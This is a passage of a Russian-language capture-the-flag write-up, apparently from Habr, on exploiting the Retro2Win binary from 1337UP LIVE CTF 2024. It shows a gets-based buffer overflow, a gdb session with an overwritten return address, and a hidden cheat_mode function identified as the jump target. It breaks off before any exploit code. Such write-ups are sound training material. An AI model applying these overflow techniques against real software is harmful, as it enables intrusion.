{"id":443186,"date":"2024-12-26T05:59:16","date_gmt":"2024-12-26T05:59:16","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=443186"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=443186","title":{"rendered":"<span>\u0412\u0437\u043b\u043e\u043c Retro2Win \u0447\u0435\u0440\u0435\u0437 ROP-chain \u043d\u0430 1337UP LIVE CTF 2024<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0423\u0432\u0430\u0436\u0430\u0435\u043c\u044b\u0435 \u0434\u0430\u043c\u044b \u0438 \u0433\u043e\u0441\u043f\u043e\u0434\u0430, \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044e \u0432\u0430\u043c \u0435\u0449\u0435 \u043e\u0434\u043d\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0447\u0435\u043b\u043b\u0435\u043d\u0434\u0436\u0435\u0439 \u0441 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 1337UP LIVE CTF 2024. \u0414\u0430\u043d\u043d\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043a\u0430\u0440\u0434\u0438\u043d\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b \u0432 <a href=\"https:\/\/habr.com\/ru\/companies\/timeweb\/articles\/860812\/\">\u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a>. \u0421\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0442\u0430\u043a\u0438 \u0432\u044b\u0441\u043e\u043a\u0430\u044f. \u041d\u043e, \u043d\u0435 \u0431\u0443\u0434\u0435\u043c \u043e\u0442\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c \u0434\u0435\u043b\u0430 \u043d\u0430 \u043f\u043e\u0442\u043e\u043c. \u0418\u0434\u0435\u043c \u043d\u0430 <a href=\"https:\/\/ctf.intigriti.io\/challenges\">\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0441 \u0447\u0435\u043b\u043b\u0435\u043d\u0434\u0436\u0435\u043c<\/a> \u0438 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u0435\u043c.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/cda\/937\/32f\/cda93732f018f0bfe1097328f8d7f242.png\" width=\"742\" height=\"656\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/cda\/937\/32f\/cda93732f018f0bfe1097328f8d7f242.png\"\/><\/figure>\n<p>\u041a\u0430\u043a \u044f \u0443\u0436\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u043b \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043f\u0430\u0442\u0447\u0438\u043d\u0433\u0430 \u043d\u0430\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u0433\u0434\u0435 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439. \u0421\u043a\u0430\u0447\u0430\u0432 \u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u0430\u0432 \u0430\u0440\u0445\u0438\u0432, \u044f \u0443\u0432\u0438\u0434\u0435\u043b \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0430\u043c \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a, \u043d\u043e \u0438 docker \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043f\u043e\u0434 \u043d\u0435\u0433\u043e. \u0414\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 \u0443 \u043d\u0430\u0441 \u043d\u0435\u0442\u0443 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041c\u043d\u0435 \u043a\u0440\u0430\u0439\u043d\u0435 \u043d\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e \u0437\u0430\u0447\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u044c \u0447\u0435\u043b\u043b\u0435\u043d\u0434\u0436\u0430 \u0440\u0435\u0448\u0438\u043b \u043e\u0431\u0435\u0440\u043d\u0443\u0442\u044c \u044d\u0442\u043e \u0432 docker \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440. \u0424\u0430\u0439\u043b\u0438\u043a <code>flag.txt<\/code> \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u0441\u0435\u0431\u0435 <code>INTIGRITI{fake_flag}<\/code><\/p>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win$ tree . \u251c\u2500\u2500 challenge \u2502\u00a0\u00a0 \u251c\u2500\u2500 Dockerfile \u2502\u00a0\u00a0 \u251c\u2500\u2500 flag.txt \u2502\u00a0\u00a0 \u2514\u2500\u2500 retro2win \u251c\u2500\u2500 docker-compose.yml \u2514\u2500\u2500 start.sh  2 directories, 5 files<\/code><\/pre>\n<h2>\u276f \u0417\u043d\u0430\u043a\u043e\u043c\u0441\u0442\u0432\u043e \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439<\/h2>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option:<\/code><\/pre>\n<p>\u0412\u0430\u0443, \u043d\u0430\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0441\u044b\u0433\u0440\u0430\u0442\u044c \u0432 \u0438\u0433\u0440\u0443. \u0418\u043c\u0435\u0435\u043c \u0437\u0434\u0435\u0441\u044c 2 \u043e\u043f\u0438\u0446\u0438\u0438 \u2014 \u0441\u0445\u043e\u0434\u0438\u0442\u044c \u0432 \u043b\u0435\u0441 \u0438\u043b\u0438 \u043f\u043e\u0434\u0440\u0430\u0442\u0441\u044f \u0441 \u0434\u0440\u0430\u043a\u043e\u043d\u043e\u043c. \u0427\u0442\u043e \u0436\u0435, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0431\u0435.<\/p>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 1 You are walking through a dark forest... I don't think there's any flags around here...<\/code><\/pre>\n<p>\u0422\u0430\u043a, \u0432 \u043b\u0435\u0441\u0443 \u0444\u043b\u0430\u0433\u043e\u0432 \u043d\u0435\u0442. \u0414\u0432\u0438\u0433\u0430\u0435\u043c \u0434\u0430\u043b\u044c\u0448\u0435<\/p>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 2 You encounter a ferocious dragon! But it's too strong for you... Only if you had some kind of cheat...<\/code><\/pre>\n<p>\u0414\u0440\u0430\u043a\u043e\u043d\u0430 \u043c\u044b \u0442\u043e\u0436\u0435 \u043d\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u043e\u0441\u0438\u043b\u0438\u0442\u044c, \u043d\u043e \u043d\u0430\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0433\u0434\u0435-\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0445\u0438\u0442\u0440\u043e\u0441\u0442\u044c. \u0417\u0430 \u0445\u0438\u0442\u0440\u043e\u0441\u0442\u044f\u043c\u0438 \u043b\u0435\u0437\u0435\u043c \u0432 \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440. \u041e\u043f\u044f\u0442\u044c \u0442\u0430\u043a\u0438, \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e \u0444\u0440\u0438\u0448\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Binary Ninja.<\/p>\n<h2>\u276f \u0420\u0435\u0432\u0435\u0440\u0441<\/h2>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fd1\/83c\/f19\/fd183cf19be8a428ad423eee4cf718ea.png\" width=\"1331\" height=\"1111\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fd1\/83c\/f19\/fd183cf19be8a428ad423eee4cf718ea.png\"\/><\/figure>\n<p>\u041d\u0430\u0448\u0430 <code>main<\/code> \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432\u043e\u0442 \u0442\u0430\u043a. \u0424\u0443\u043d\u043a\u0446\u0438\u044f <code>show_main_menu<\/code> \u043d\u0430\u0441 \u044f\u0432\u043d\u043e \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442. \u0427\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>__isoc99_scanf<\/code> \u043c\u044b \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u0441 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e <code>var_c<\/code> . \u041f\u043e\u0442\u043e\u043c \u044d\u0442\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f <code>rax_3<\/code> . \u0410 \u0443\u0436\u0435 \u0434\u0430\u043b\u044c\u0448\u0435 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u043a\u0443\u0447\u0443 <code>if<\/code> , \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0440\u0443\u043b\u044f\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u043c\u044b \u0432\u0432\u0435\u043b\u0438 \u043d\u0430 \u043a\u043e\u043d\u0441\u043e\u043b\u044c. \u0424\u0443\u043d\u043a\u0446\u0438\u0438 <code>battle_dragon<\/code> \u0438 <code>explore_forest<\/code> \u043d\u0430\u0441 \u0442\u043e\u0436\u0435 \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 \u2014 \u0442\u0430\u043c \u043c\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u043c \u0442\u0435\u043a\u0441\u0442. \u0410 \u0432\u043e\u0442 \u043a \u0444\u0443\u043d\u0446\u0438\u0438 <code>enter_cheatcode<\/code> \u043c\u044b \u0434\u043e\u0431\u0435\u0440\u0435\u043c\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432\u0432\u0435\u0434\u0435\u043c <code>0x539<\/code> \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043a\u043e\u043f\u0430\u0442\u044c \u044d\u0442\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435. <code>0x539<\/code> \u044d\u0442\u043e \u0434\u0435\u0441\u044f\u0442\u0438\u0447\u043d\u043e\u0435 <code>1337<\/code>. \u041e\u0445 \u0438 \u043b\u044e\u0431\u044f\u0442 \u043e\u043d\u0438 \u044d\u0442\u043e\u0442 leet. \u041b\u0430\u0434\u043d\u043e, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0446\u0438\u0444\u0435\u0440\u043a\u0443.<\/p>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 1337 Enter your cheatcode: 123 Checking cheatcode: 123!<\/code><\/pre>\n<p>\u041d\u0430\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0432\u0432\u0435\u0441\u0442\u0438 \u0447\u0438\u0442-\u043a\u043e\u0434, \u043d\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u044b\u0432\u043e\u0434 \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u0435\u043d. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0436\u0435 \u0433\u043b\u044f\u043d\u0435\u043c \u043d\u0430 \u044d\u0442\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u2014 \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u0439\u0434\u0435\u043c \u0442\u0430\u043c \u0447\u0435\u0433\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0433\u043e.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b7e\/3dc\/fcd\/b7e3dcfcd9e0d841b8175939b076c290.png\" width=\"1067\" height=\"539\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b7e\/3dc\/fcd\/b7e3dcfcd9e0d841b8175939b076c290.png\"\/><\/figure>\n<p>\u0425\u043c, \u0437\u0434\u0435\u0441\u044c \u0432\u0438\u0434\u0438\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e <code>buf<\/code>. \u041d\u0430 \u0441\u0442\u0440\u043e\u043a\u0435 <code>0040080c<\/code> \u043c\u044b \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u043c \u043d\u0430\u0448 \u0432\u0432\u043e\u0434 \u0438\u0437 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0432 \u044d\u0442\u043e\u0442 \u0431\u0443\u0444\u0435\u0440 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>gets<\/code> . \u0414\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0430 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0438\u043f\u0430 buffer overflow. \u041b\u044e\u0431\u043e\u0439 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u0431\u0443\u0434\u0435\u0442 \u043d\u0430 \u044d\u0442\u043e \u0436\u0430\u043b\u043e\u0432\u0430\u0442\u0441\u044f, \u0435\u0441\u043b\u0438 \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043f\u0438\u0441\u0430\u0442\u044c \u0441 \u043d\u0435\u0439 \u043d\u0430\u0448\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443. \u0414\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u0441\u0435 \u0435\u0449\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0446\u0435\u043b\u044f\u0445 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438. <\/p>\n<h2>\u276f \u041b\u043e\u043c\u0430\u0435\u043c<\/h2>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c overflow.<\/p>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 1337 Enter your cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 Checking cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111! Segmentation fault (core dumped)<\/code><\/pre>\n<p>\u041d\u0430\u0434\u043e \u0436\u0435, \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e! \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c Segmentation fault \u2014 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043a\u0440\u0430\u0448\u043d\u0443\u043b\u0430\u0441\u044c. \u0427\u0442\u043e\u0431\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u0441\u044f \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e, \u043b\u0435\u0437\u0435\u043c \u0432 \u0434\u0435\u0431\u0430\u0433\u0435\u0440 <code>gdb<\/code> . \u0417\u0434\u0435\u0441\u044c \u044f \u043d\u0435 \u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0431\u0440\u0435\u0439\u043a\u043f\u043e\u0438\u043d\u0442\u043e\u0432. \u041f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0438 \u043f\u0440\u0438\u0432\u0435\u043b \u0435\u0435 \u0432 \u0441\u043b\u043e\u043c\u0430\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435. \u0412 \u0442\u0430\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435,<code>gdb<\/code> \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0432\u0441\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b.<\/p>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win\/challenge$ gdb retro2win  GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later &lt;http:\/\/gnu.org\/licenses\/gpl.html&gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \"show copying\" and \"show warranty\" for details. This GDB was configured as \"x86_64-linux-gnu\". Type \"show configuration\" for configuration details. For bug reporting instructions, please see: &lt;https:\/\/www.gnu.org\/software\/gdb\/bugs\/&gt;. Find the GDB manual and other documentation resources online at:     &lt;http:\/\/www.gnu.org\/software\/gdb\/documentation\/&gt;.  For help, type \"help\". Type \"apropos word\" to search for commands related to \"word\"... Reading symbols from retro2win... (No debugging symbols found in retro2win) (gdb) run Starting program: \/home\/tkchk\/Downloads\/retro2win\/challenge\/retro2win  [Thread debugging using libthread_db enabled] Using host libthread_db library \"\/lib\/x86_64-linux-gnu\/libthread_db.so.1\". ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 1337 Enter your cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 Checking cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111!  Program received signal SIGSEGV, Segmentation fault. 0x0000000000400829 in enter_cheatcode () (gdb) x\/10xg $rsp 0x7fffffffdd58:0x31313131313131310x3131313131313131 0x7fffffffdd68:0x31313131313131310x3131313131313131 0x7fffffffdd78:0x31313131313131310x3131313131313131 0x7fffffffdd88:0x31313131313131310x3131313131313131 0x7fffffffdd98:0x31313131313131310x00007fffffff0031<\/code><\/pre>\n<p>\u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043d\u0430\u043c \u043d\u0430\u0434\u043e \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0441\u0442\u0435\u043a. \u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0441\u0442\u0435\u043a \u0438 \u043a\u0430\u043a \u043e\u043d \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b \u0432\u043e <a href=\"https:\/\/habr.com\/ru\/articles\/549578\/\">\u0432\u0442\u043e\u0440\u043e\u0439 \u0447\u0430\u0441\u0442\u0438<\/a> \u0446\u0438\u043a\u043b\u0430 \u0441\u0442\u0430\u0442\u0435\u0439 \u043e \u0432\u0437\u043b\u043e\u043c\u0435 \u0434\u0438\u0441\u043a\u0430 \u043e\u0442 Red Balloon Security. \u041a\u043e\u043c\u043c\u0430\u043d\u0434\u0430 <code>x\/10xg $rsp<\/code> \u043f\u043e\u043a\u0430\u0436\u0435\u0442 \u043d\u0430\u043c \u0434\u0435\u0441\u044f\u0442\u044c 64-\u0431\u0438\u0442\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b \u0441 \u0430\u0434\u0440\u0435\u0441\u0430 \u0438\u0437 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430 <code>rsp<\/code> \u2014 \u044d\u0442\u043e \u043d\u0430\u0448 stack pointer. \u0418 \u0447\u0442\u043e \u0436\u0435 \u044f \u0437\u0434\u0435\u0441\u044c \u0443\u0432\u0438\u0434\u0435\u043b? \u041f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f <code>buf<\/code> \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u043b\u0430\u0441\u044c \u0438 \u043c\u043e\u0438 \u0435\u0434\u0438\u043d\u0438\u0447\u043a\u0438 (\u0432 hex \u0432\u0438\u0434\u0435) \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043c\u044d\u0448\u043d\u0443\u043b\u0438 \u0441\u043e\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430. \u041d\u0430 \u0441\u0442\u0435\u043a\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u0432\u0435\u0449\u0435\u0439: \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435, \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u0435 <code>rbp<\/code> \u0438, \u0441\u0430\u043c\u043e\u0435 \u0433\u043b\u0430\u0432\u043d\u043e\u0435, \u0430\u0434\u0440\u0435\u0441\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u043e\u0432. \u041d\u0430\u0448\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043a\u0430\u043a \u0440\u0430\u0437 \u0442\u0430\u043a\u0438 \u043a\u0440\u0430\u0448\u043d\u0443\u043b\u0430\u0441\u044c \u043f\u043e \u0442\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u0435, \u0447\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430. \u0410\u0434\u0440\u0435\u0441 <code>0x3131313131313131<\/code> \u0432\u0435\u0434\u0435\u0442 \u043a\u0443\u0434\u0430-\u0442\u043e \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \u041e\u0442 \u0441\u044e\u0434\u0430 \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438.  \u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0432 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0430\u0448\u0435\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u0437\u0430\u0440\u0443\u043b\u0438\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0430\u0434\u0440\u0435\u0441. \u041d\u043e \u043a\u0430\u043a\u043e\u0439?<\/p>\n<h2>\u276f \u0427\u0438\u0442\u0435\u0440\u0438\u043c<\/h2>\n<p>\u0412 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u043c\u0435\u0441\u0442\u0430, \u043a\u0443\u0434\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u0435\u0440\u043d\u0443\u0442\u0441\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u044f \u043d\u0430\u0442\u043a\u043d\u0443\u043b\u0441\u044f \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>cheat_mode<\/code> . \u0424\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u2014 \u043a \u043d\u0435\u0439 \u043d\u0438\u043a\u0430\u043a \u043d\u0435\u043b\u044c\u0437\u044f \u0434\u043e\u0441\u0442\u0443\u0447\u0430\u0442\u0441\u044f. \u041d\u0438 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0438\u0437 <code>main<\/code>, \u043d\u0438 \u0438\u0437 \u0434\u0440\u0443\u0433\u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u044f \u043d\u0435 \u0443\u0432\u0438\u0434\u0435\u043b. \u0412 \u043d\u0435\u0439 \u043c\u044b \u043a\u0430\u043a \u0440\u0430\u0437 \u0442\u0430\u043a\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0444\u0430\u0439\u043b \u0441 \u0444\u043b\u0430\u0433\u043e\u043c \u0438 \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u043c \u0435\u0433\u043e \u043d\u0430 \u043a\u043e\u043d\u0441\u043e\u043b\u044c. \u041d\u043e \u0435\u0441\u0442\u044c \u043e\u0434\u043d\u0430 \u0437\u0430\u0433\u0432\u043e\u0437\u0434\u043a\u0430 \u2014 \u043c\u044b \u0438\u043c\u0435\u0435\u043c 